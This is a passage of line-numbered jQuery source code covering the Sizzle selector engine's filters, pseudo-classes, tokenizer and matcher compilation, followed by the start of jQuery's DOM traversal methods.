988 } else {
989 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
990 ret += getText(elem)
991 }
992 }
993 } else if (nodeType === 3 || nodeType === 4) {
994 return elem.nodeValue
995 }
996 return ret
997 };
998 Expr = Sizzle.selectors = {
999 cacheLength: 50,
1000 createPseudo: markFunction,
1001 match: matchExpr,
1002 attrHandle: {},
1003 find: {},
1004 relative: {
1005 ">": {
1006 dir: "parentNode",
1007 first: true
1008 },
1009 " ": {
1010 dir: "parentNode"
1011 },
1012 "+": {
1013 dir: "previousSibling",
1014 first: true
1015 },
1016 "~": {
1017 dir: "previousSibling"
1018 }
1019 },
1020 preFilter: {
1021 "ATTR": function(match) {
1022 match[1] = match[1].replace(runescape, funescape);
1023 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1024 if (match[2] === "~=") {
1025 match[3] = " " + match[3] + " "
1026 }
1027 return match.slice(0, 4)
1028 },
1029 "CHILD": function(match) {
1030 match[1] = match[1].toLowerCase();
1031 if (match[1].slice(0, 3) === "nth") {
1032 if (!match[3]) {
1033 Sizzle.error(match[0])
1034 }
1035 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1036 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1037 } else if (match[3]) {
1038 Sizzle.error(match[0])
1039 }
1040 return match
1041 },
1042 "PSEUDO": function(match) {
1043 var excess, unquoted = !match[6] && match[2];
1044 if (matchExpr["CHILD"].test(match[0])) {
1045 return null
1046 }
1047 if (match[3]) {
1048 match[2] = match[4] || match[5] || ""
1049 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1050 match[0] = match[0].slice(0, excess);
1051 match[2] = unquoted.slice(0, excess)
1052 }
1053 return match.slice(0, 3)
1054 }
1055 },
1056 filter: {
1057 "TAG": function(nodeNameSelector) {
1058 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1059 return nodeNameSelector === "*" ? function() {
1060 return true
1061 } : function(elem) {
1062 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1063 }
1064 },
1065 "CLASS": function(className) {
1066 var pattern = classCache[className + " "];
1067 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1068 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1069 })
1070 },
1071 "ATTR": function(name, operator, check) {
1072 return function(elem) {
1073 var result = Sizzle.attr(elem, name);
1074 if (result == null) {
1075 return operator === "!="
1076 }
1077 if (!operator) {
1078 return true
1079 }
1080 result += "";
1081 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1082 }
1083 },
1084 "CHILD": function(type, what, argument, first, last) {
1085 var simple = type.slice(0, 3) !== "nth",
1086 forward = type.slice(-4) !== "last",
1087 ofType = what === "of-type";
1088 return first === 1 && last === 0 ? function(elem) {
1089 return !!elem.parentNode
1090 } : function(elem, context, xml) {
1091 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1092 parent = elem.parentNode,
1093 name = ofType && elem.nodeName.toLowerCase(),
1094 useCache = !xml && !ofType;
1095 if (parent) {
1096 if (simple) {
1097 while (dir) {
1098 node = elem;
1099 while ((node = node[dir])) {
1100 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1101 return false
1102 }
1103 }
1104 start = dir = type === "only" && !start && "nextSibling"
1105 }
1106 return true
1107 }
1108 start = [forward ? parent.firstChild : parent.lastChild];
1109 if (forward && useCache) {
1110 outerCache = parent[expando] || (parent[expando] = {});
1111 cache = outerCache[type] || [];
1112 nodeIndex = cache[0] === dirruns && cache[1];
1113 diff = cache[0] === dirruns && cache[2];
1114 node = nodeIndex && parent.childNodes[nodeIndex];
1115 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1116 if (node.nodeType === 1 && ++diff && node === elem) {
1117 outerCache[type] = [dirruns, nodeIndex, diff];
1118 break
1119 }
1120 }
1121 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1122 diff = cache[1]
1123 } else {
1124 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1125 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1126 if (useCache) {
1127 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1128 }
1129 if (node === elem) {
1130 break
1131 }
1132 }
1133 }
1134 }
1135 diff -= last;
1136 return diff === first || (diff % first === 0 && diff / first >= 0)
1137 }
1138 }
1139 },
1140 "PSEUDO": function(pseudo, argument) {
1141 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1142 if (fn[expando]) {
1143 return fn(argument)
1144 }
1145 if (fn.length > 1) {
1146 args = [pseudo, pseudo, "", argument];
1147 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1148 var idx, matched = fn(seed, argument),
1149 i = matched.length;
1150 while (i--) {
1151 idx = indexOf(seed, matched[i]);
1152 seed[idx] = !(matches[idx] = matched[i])
1153 }
1154 }) : function(elem) {
1155 return fn(elem, 0, args)
1156 }
1157 }
1158 return fn
1159 }
1160 },
1161 pseudos: {
1162 "not": markFunction(function(selector) {
1163 var input = [],
1164 results = [],
1165 matcher = compile(selector.replace(rtrim, "$1"));
1166 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1167 var elem, unmatched = matcher(seed, null, xml, []),
1168 i = seed.length;
1169 while (i--) {
1170 if ((elem = unmatched[i])) {
1171 seed[i] = !(matches[i] = elem)
1172 }
1173 }
1174 }) : function(elem, context, xml) {
1175 input[0] = elem;
1176 matcher(input, null, xml, results);
1177 input[0] = null;
1178 return !results.pop()
1179 }
1180 }),
1181 "has": markFunction(function(selector) {
1182 return function(elem) {
1183 return Sizzle(selector, elem).length > 0
1184 }
1185 }),
1186 "contains": markFunction(function(text) {
1187 text = text.replace(runescape, funescape);
1188 return function(elem) {
1189 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1190 }
1191 }),
1192 "lang": markFunction(function(lang) {
1193 if (!ridentifier.test(lang || "")) {
1194 Sizzle.error("unsupported lang: " + lang)
1195 }
1196 lang = lang.replace(runescape, funescape).toLowerCase();
1197 return function(elem) {
1198 var elemLang;
1199 do {
1200 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1201 elemLang = elemLang.toLowerCase();
1202 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1203 }
1204 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1205 return false
1206 }
1207 }),
1208 "target": function(elem) {
1209 var hash = window.location && window.location.hash;
1210 return hash && hash.slice(1) === elem.id
1211 },
1212 "root": function(elem) {
1213 return elem === docElem
1214 },
1215 "focus": function(elem) {
1216 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1217 },
1218 "enabled": function(elem) {
1219 return elem.disabled === false
1220 },
1221 "disabled": function(elem) {
1222 return elem.disabled === true
1223 },
1224 "checked": function(elem) {
1225 var nodeName = elem.nodeName.toLowerCase();
1226 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1227 },
1228 "selected": function(elem) {
1229 if (elem.parentNode) {
1230 elem.parentNode.selectedIndex
1231 }
1232 return elem.selected === true
1233 },
1234 "empty": function(elem) {
1235 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1236 if (elem.nodeType < 6) {
1237 return false
1238 }
1239 }
1240 return true
1241 },
1242 "parent": function(elem) {
1243 return !Expr.pseudos["empty"](elem)
1244 },
1245 "header": function(elem) {
1246 return rheader.test(elem.nodeName)
1247 },
1248 "input": function(elem) {
1249 return rinputs.test(elem.nodeName)
1250 },
1251 "button": function(elem) {
1252 var name = elem.nodeName.toLowerCase();
1253 return name === "input" && elem.type === "button" || name === "button"
1254 },
1255 "text": function(elem) {
1256 var attr;
1257 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1258 },
1259 "first": createPositionalPseudo(function() {
1260 return [0]
1261 }),
1262 "last": createPositionalPseudo(function(matchIndexes, length) {
1263 return [length - 1]
1264 }),
1265 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1266 return [argument < 0 ? argument + length : argument]
1267 }),
1268 "even": createPositionalPseudo(function(matchIndexes, length) {
1269 var i = 0;
1270 for (; i < length; i += 2) {
1271 matchIndexes.push(i)
1272 }
1273 return matchIndexes
1274 }),
1275 "odd": createPositionalPseudo(function(matchIndexes, length) {
1276 var i = 1;
1277 for (; i < length; i += 2) {
1278 matchIndexes.push(i)
1279 }
1280 return matchIndexes
1281 }),
1282 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1283 var i = argument < 0 ? argument + length : argument;
1284 for (; --i >= 0;) {
1285 matchIndexes.push(i)
1286 }
1287 return matchIndexes
1288 }),
1289 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1290 var i = argument < 0 ? argument + length : argument;
1291 for (; ++i < length;) {
1292 matchIndexes.push(i)
1293 }
1294 return matchIndexes
1295 })
1296 }
1297 };
1298 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1299 for (i in {
1300 radio: true,
1301 checkbox: true,
1302 file: true,
1303 password: true,
1304 image: true
1305 }) {
1306 Expr.pseudos[i] = createInputPseudo(i)
1307 }
1308 for (i in {
1309 submit: true,
1310 reset: true
1311 }) {
1312 Expr.pseudos[i] = createButtonPseudo(i)
1313 }
1314
1315 function setFilters() {}
1316 setFilters.prototype = Expr.filters = Expr.pseudos;
1317 Expr.setFilters = new setFilters();
1318 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1319 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1320 if (cached) {
1321 return parseOnly ? 0 : cached.slice(0)
1322 }
1323 soFar = selector;
1324 groups = [];
1325 preFilters = Expr.preFilter;
1326 while (soFar) {
1327 if (!matched || (match = rcomma.exec(soFar))) {
1328 if (match) {
1329 soFar = soFar.slice(match[0].length) || soFar
1330 }
1331 groups.push((tokens = []))
1332 }
1333 matched = false;
1334 if ((match = rcombinators.exec(soFar))) {
1335 matched = match.shift();
1336 tokens.push({
1337 value: matched,
1338 type: match[0].replace(rtrim, " ")
1339 });
1340 soFar = soFar.slice(matched.length)
1341 }
1342 for (type in Expr.filter) {
1343 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1344 matched = match.shift();
1345 tokens.push({
1346 value: matched,
1347 type: type,
1348 matches: match
1349 });
1350 soFar = soFar.slice(matched.length)
1351 }
1352 }
1353 if (!matched) {
1354 break
1355 }
1356 }
1357 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1358 };
1359
1360 function toSelector(tokens) {
1361 var i = 0,
1362 len = tokens.length,
1363 selector = "";
1364 for (; i < len; i++) {
1365 selector += tokens[i].value
1366 }
1367 return selector
1368 }
1369
1370 function addCombinator(matcher, combinator, base) {
1371 var dir = combinator.dir,
1372 checkNonElements = base && dir === "parentNode",
1373 doneName = done++;
1374 return combinator.first ? function(elem, context, xml) {
1375 while ((elem = elem[dir])) {
1376 if (elem.nodeType === 1 || checkNonElements) {
1377 return matcher(elem, context, xml)
1378 }
1379 }
1380 } : function(elem, context, xml) {
1381 var oldCache, outerCache, newCache = [dirruns, doneName];
1382 if (xml) {
1383 while ((elem = elem[dir])) {
1384 if (elem.nodeType === 1 || checkNonElements) {
1385 if (matcher(elem, context, xml)) {
1386 return true
1387 }
1388 }
1389 }
1390 } else {
1391 while ((elem = elem[dir])) {
1392 if (elem.nodeType === 1 || checkNonElements) {
1393 outerCache = elem[expando] || (elem[expando] = {});
1394 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1395 return (newCache[2] = oldCache[2])
1396 } else {
1397 outerCache[dir] = newCache;
1398 if ((newCache[2] = matcher(elem, context, xml))) {
1399 return true
1400 }
1401 }
1402 }
1403 }
1404 }
1405 }
1406 }
1407
1408 function elementMatcher(matchers) {
1409 return matchers.length > 1 ? function(elem, context, xml) {
1410 var i = matchers.length;
1411 while (i--) {
1412 if (!matchers[i](elem, context, xml)) {
1413 return false
1414 }
1415 }
1416 return true
1417 } : matchers[0]
1418 }
1419
1420 function multipleContexts(selector, contexts, results) {
1421 var i = 0,
1422 len = contexts.length;
1423 for (; i < len; i++) {
1424 Sizzle(selector, contexts[i], results)
1425 }
1426 return results
1427 }
1428
1429 function condense(unmatched, map, filter, context, xml) {
1430 var elem, newUnmatched = [],
1431 i = 0,
1432 len = unmatched.length,
1433 mapped = map != null;
1434 for (; i < len; i++) {
1435 if ((elem = unmatched[i])) {
1436 if (!filter || filter(elem, context, xml)) {
1437 newUnmatched.push(elem);
1438 if (mapped) {
1439 map.push(i)
1440 }
1441 }
1442 }
1443 }
1444 return newUnmatched
1445 }
1446
1447 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1448 if (postFilter && !postFilter[expando]) {
1449 postFilter = setMatcher(postFilter)
1450 }
1451 if (postFinder && !postFinder[expando]) {
1452 postFinder = setMatcher(postFinder, postSelector)
1453 }
1454 return markFunction(function(seed, results, context, xml) {
1455 var temp, i, elem, preMap = [],
1456 postMap = [],
1457 preexisting = results.length,
1458 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1459 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1460 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1461 if (matcher) {
1462 matcher(matcherIn, matcherOut, context, xml)
1463 }
1464 if (postFilter) {
1465 temp = condense(matcherOut, postMap);
1466 postFilter(temp, [], context, xml);
1467 i = temp.length;
1468 while (i--) {
1469 if ((elem = temp[i])) {
1470 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1471 }
1472 }
1473 }
1474 if (seed) {
1475 if (postFinder || preFilter) {
1476 if (postFinder) {
1477 temp = [];
1478 i = matcherOut.length;
1479 while (i--) {
1480 if ((elem = matcherOut[i])) {
1481 temp.push((matcherIn[i] = elem))
1482 }
1483 }
1484 postFinder(null, (matcherOut = []), temp, xml)
1485 }
1486 i = matcherOut.length;
1487 while (i--) {
1488 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1489 seed[temp] = !(results[temp] = elem)
1490 }
1491 }
1492 }
1493 } else {
1494 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1495 if (postFinder) {
1496 postFinder(null, results, matcherOut, xml)
1497 } else {
1498 push.apply(results, matcherOut)
1499 }
1500 }
1501 })
1502 }
1503
1504 function matcherFromTokens(tokens) {
1505 var checkContext, matcher, j, len = tokens.length,
1506 leadingRelative = Expr.relative[tokens[0].type],
1507 implicitRelative = leadingRelative || Expr.relative[" "],
1508 i = leadingRelative ? 1 : 0,
1509 matchContext = addCombinator(function(elem) {
1510 return elem === checkContext
1511 }, implicitRelative, true),
1512 matchAnyContext = addCombinator(function(elem) {
1513 return indexOf(checkContext, elem) > -1
1514 }, implicitRelative, true),
1515 matchers = [function(elem, context, xml) {
1516 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1517 checkContext = null;
1518 return ret
1519 }];
1520 for (; i < len; i++) {
1521 if ((matcher = Expr.relative[tokens[i].type])) {
1522 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1523 } else {
1524 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1525 if (matcher[expando]) {
1526 j = ++i;
1527 for (; j < len; j++) {
1528 if (Expr.relative[tokens[j].type]) {
1529 break
1530 }
1531 }
1532 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1533 value: tokens[i - 2].type === " " ? "*" : ""
1534 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1535 }
1536 matchers.push(matcher)
1537 }
1538 }
1539 return elementMatcher(matchers)
1540 }
1541
1542 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1543 var bySet = setMatchers.length > 0,
1544 byElement = elementMatchers.length > 0,
1545 superMatcher = function(seed, context, xml, results, outermost) {
1546 var elem, j, matcher, matchedCount = 0,
1547 i = "0",
1548 unmatched = seed && [],
1549 setMatched = [],
1550 contextBackup = outermostContext,
1551 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1552 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1553 len = elems.length;
1554 if (outermost) {
1555 outermostContext = context !== document && context
1556 }
1557 for (; i !== len && (elem = elems[i]) != null; i++) {
1558 if (byElement && elem) {
1559 j = 0;
1560 while ((matcher = elementMatchers[j++])) {
1561 if (matcher(elem, context, xml)) {
1562 results.push(elem);
1563 break
1564 }
1565 }
1566 if (outermost) {
1567 dirruns = dirrunsUnique
1568 }
1569 }
1570 if (bySet) {
1571 if ((elem = !matcher && elem)) {
1572 matchedCount--
1573 }
1574 if (seed) {
1575 unmatched.push(elem)
1576 }
1577 }
1578 }
1579 matchedCount += i;
1580 if (bySet && i !== matchedCount) {
1581 j = 0;
1582 while ((matcher = setMatchers[j++])) {
1583 matcher(unmatched, setMatched, context, xml)
1584 }
1585 if (seed) {
1586 if (matchedCount > 0) {
1587 while (i--) {
1588 if (!(unmatched[i] || setMatched[i])) {
1589 setMatched[i] = pop.call(results)
1590 }
1591 }
1592 }
1593 setMatched = condense(setMatched)
1594 }
1595 push.apply(results, setMatched);
1596 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1597 Sizzle.uniqueSort(results)
1598 }
1599 }
1600 if (outermost) {
1601 dirruns = dirrunsUnique;
1602 outermostContext = contextBackup
1603 }
1604 return unmatched
1605 };
1606 return bySet ? markFunction(superMatcher) : superMatcher
1607 }
1608 compile = Sizzle.compile = function(selector, match) {
1609 var i, setMatchers = [],
1610 elementMatchers = [],
1611 cached = compilerCache[selector + " "];
1612 if (!cached) {
1613 if (!match) {
1614 match = tokenize(selector)
1615 }
1616 i = match.length;
1617 while (i--) {
1618 cached = matcherFromTokens(match[i]);
1619 if (cached[expando]) {
1620 setMatchers.push(cached)
1621 } else {
1622 elementMatchers.push(cached)
1623 }
1624 }
1625 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1626 cached.selector = selector
1627 }
1628 return cached
1629 };
1630 select = Sizzle.select = function(selector, context, results, seed) {
1631 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1632 match = !seed && tokenize((selector = compiled.selector || selector));
1633 results = results || [];
1634 if (match.length === 1) {
1635 tokens = match[0] = match[0].slice(0);
1636 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1637 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1638 if (!context) {
1639 return results
1640 } else if (compiled) {
1641 context = context.parentNode
1642 }
1643 selector = selector.slice(tokens.shift().value.length)
1644 }
1645 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1646 while (i--) {
1647 token = tokens[i];
1648 if (Expr.relative[(type = token.type)]) {
1649 break
1650 }
1651 if ((find = Expr.find[type])) {
1652 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1653 tokens.splice(i, 1);
1654 selector = seed.length && toSelector(tokens);
1655 if (!selector) {
1656 push.apply(results, seed);
1657 return results
1658 }
1659 break
1660 }
1661 }
1662 }
1663 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1664 return results
1665 };
1666 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1667 support.detectDuplicates = !!hasDuplicate;
1668 setDocument();
1669 support.sortDetached = assert(function(div1) {
1670 return div1.compareDocumentPosition(document.createElement("div")) & 1
1671 });
1672 if (!assert(function(div) {
1673 div.innerHTML = "<a href='#'></a>";
1674 return div.firstChild.getAttribute("href") === "#"
1675 })) {
1676 addHandle("type|href|height|width", function(elem, name, isXML) {
1677 if (!isXML) {
1678 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1679 }
1680 })
1681 }
1682 if (!support.attributes || !assert(function(div) {
1683 div.innerHTML = "<input/>";
1684 div.firstChild.setAttribute("value", "");
1685 return div.firstChild.getAttribute("value") === ""
1686 })) {
1687 addHandle("value", function(elem, name, isXML) {
1688 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1689 return elem.defaultValue
1690 }
1691 })
1692 }
1693 if (!assert(function(div) {
1694 return div.getAttribute("disabled") == null
1695 })) {
1696 addHandle(booleans, function(elem, name, isXML) {
1697 var val;
1698 if (!isXML) {
1699 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1700 }
1701 })
1702 }
1703 return Sizzle
1704 })(window);
1705 jQuery.find = Sizzle;
1706 jQuery.expr = Sizzle.selectors;
1707 jQuery.expr[":"] = jQuery.expr.pseudos;
1708 jQuery.unique = Sizzle.uniqueSort;
1709 jQuery.text = Sizzle.getText;
1710 jQuery.isXMLDoc = Sizzle.isXML;
1711 jQuery.contains = Sizzle.contains;
1712 var rneedsContext = jQuery.expr.match.needsContext;
1713 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1714 var risSimple = /^.[^:#\[\.,]*$/;
1715
1716 function winnow(elements, qualifier, not) {
1717 if (jQuery.isFunction(qualifier)) {
1718 return jQuery.grep(elements, function(elem, i) {
1719 return !!qualifier.call(elem, i, elem) !== not
1720 })
1721 }
1722 if (qualifier.nodeType) {
1723 return jQuery.grep(elements, function(elem) {
1724 return (elem === qualifier) !== not
1725 })
1726 }
1727 if (typeof qualifier === "string") {
1728 if (risSimple.test(qualifier)) {
1729 return jQuery.filter(qualifier, elements, not)
1730 }
1731 qualifier = jQuery.filter(qualifier, elements)
1732 }
1733 return jQuery.grep(elements, function(elem) {
1734 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1735 })
1736 }
1737 jQuery.filter = function(expr, elems, not) {
1738 var elem = elems[0];
1739 if (not) {
1740 expr = ":not(" + expr + ")"
1741 }
1742 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1743 return elem.nodeType === 1
1744 }))
1745 };
1746 jQuery.fn.extend({
1747 find: function(selector) {
1748 var i, ret = [],
1749 self = this,
1750 len = self.length;
1751 if (typeof selector !== "string") {
1752 return this.pushStack(jQuery(selector).filter(function() {
1753 for (i = 0; i < len; i++) {
1754 if (jQuery.contains(self[i], this)) {
1755 return true
1756 }
1757 }
1758 }))
1759 }
1760 for (i = 0; i < len; i++) {
1761 jQuery.find(selector, self[i], ret)
1762 }
1763 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1764 ret.selector = this.selector ? this.selector + " " + selector : selector;
1765 return ret
1766 },
1767 filter: function(selector) {
1768 return this.pushStack(winnow(this, selector || [], false))
1769 },
1770 not: function(selector) {
1771 return this.pushStack(winnow(this, selector || [], true))
1772 },
1773 is: function(selector) {
1774 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1775 }
1776 });
1777 var rootjQuery, document = window.document,
1778 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1779 init = jQuery.fn.init = function(selector, context) {
1780 var match, elem;
1781 if (!selector) {
1782 return this
1783 }
1784 if (typeof selector === "string") {
1785 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1786 match = [null, selector, null]
1787 } else {
1788 match = rquickExpr.exec(selector)
1789 }
1790 if (match && (match[1] || !context)) {
1791 if (match[1]) {
1792 context = context instanceof jQuery ? context[0] : context;
1793 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1794 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1795 for (match in context) {
1796 if (jQuery.isFunction(this[match])) {
1797 this[match](context[match])
1798 } else {
1799 this.attr(match, context[match])
1800 }
1801 }
1802 }
1803 return this
1804 } else {
1805 elem = document.getElementById(match[2]);
1806 if (elem && elem.parentNode) {
1807 if (elem.id !== match[2]) {
1808 return rootjQuery.find(selector)
1809 }
1810 this.length = 1;
1811 this[0] = elem
1812 }
1813 this.context = document;
1814 this.selector = selector;
1815 return this
1816 }
1817 } else if (!context || context.jquery) {
1818 return (context || rootjQuery).find(selector)
1819 } else {
1820 return this.constructor(context).find(selector)
1821 }
1822 } else if (selector.nodeType) {
1823 this.context = this[0] = selector;
1824 this.length = 1;
1825 return this
1826 } else if (jQuery.isFunction(selector)) {
1827 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1828 }
1829 if (selector.selector !== undefined) {
1830 this.selector = selector.selector;
1831 this.context = selector.context
1832 }
1833 return jQuery.makeArray(selector, this)
1834 };
1835 init.prototype = jQuery.fn;
1836 rootjQuery = jQuery(document);
1837 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1838 guaranteedUnique = {
1839 children: true,
1840 contents: true,
1841 next: true,
1842 prev: true
1843 };
1844 jQuery.extend({
1845 dir: function(elem, dir, until) {
1846 var matched = [],
1847 cur = elem[dir];
1848 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1849 if (cur.nodeType === 1) {
1850 matched.push(cur)
1851 }
1852 cur = cur[dir]
1853 }
1854 return matched
1855 },
1856 sibling: function(n, elem) {
1857 var r = [];
1858 for (; n; n = n.nextSibling) {
1859 if (n.nodeType === 1 && n !== elem) {
1860 r.push(n)
1861 }
1862 }
1863 return r
1864 }
1865 });
1866 jQuery.fn.extend({
1867 has: function(target) {
1868 var i, targets = jQuery(target, this),
1869 len = targets.length;
1870 return this.filter(function() {
1871 for (i = 0; i < len; i++) {
1872 if (jQuery.contains(this, targets[i])) {
1873 return true
1874 }
1875 }
1876 })
1877 },
1878 closest: function(selectors, context) {
1879 var cur, i = 0,
1880 l = this.length,
1881 matched = [],
1882 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1883 for (; i < l; i++) {
1884 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1885 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1886 matched.push(cur);
1887 break
1888 }
1889 }
1890 }
1891 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1892 },
1893 index: function(elem) {
1894 if (!elem) {
1895 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1896 }
1897 if (typeof elem === "string") {
1898 return jQuery.inArray(this[0], jQuery(elem))
1899 }
1900 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1901 },
1902 add: function(selector, context) {
1903 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1904 },
1905 addBack: function(selector) {
1906 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1907 }
1908 });
1909
1910 function sibling(cur, dir) {
1911 do {
1912 cur = cur[dir]
1913 } while (cur && cur.nodeType !== 1);
1914 return cur
1915 }
1916 jQuery.each({
1917 parent: function(elem) {
1918 var parent = elem.parentNode;
1919 return parent && parent.nodeType !== 11 ? parent : null
1920 },
1921 parents: function(elem) {
1922 return jQuery.dir(elem, "parentNode")
1923 },
1924 parentsUntil: function(elem, i, until) {
1925 return jQuery.dir(elem, "parentNode", until)
1926 },
1927 next: function(elem) {
1928 return sibling(elem, "nextSibling")
1929 },
1930 prev: function(elem) {
1931 return sibling(elem, "previousSibling")
1932 },
1933 nextAll: function(elem) {
1934 return jQuery.dir(elem, "nextSibling")
1935 },
1936 prevAll: function(elem) {
1937 return jQuery.dir(elem, "previousSibling")
1938 },
1939 nextUntil: function(elem, i, until) {
1940 return jQuery.dir(elem, "nextSibling", until)
1941 },
1942 prevUntil: function(elem, i, until) {
1943 return jQuery.dir(elem, "previousSibling", until)
1944 },
1945 siblings: function(elem) {
1946 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1947 },
1948 children: function(elem) {
1949 return jQuery.sibling(elem.firstChild)
1950 },
1951 contents: function(elem) {
1952 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
1953 }
1954 }, function(name, fn) {
1955 jQuery.fn[name] = function(until, selector) {
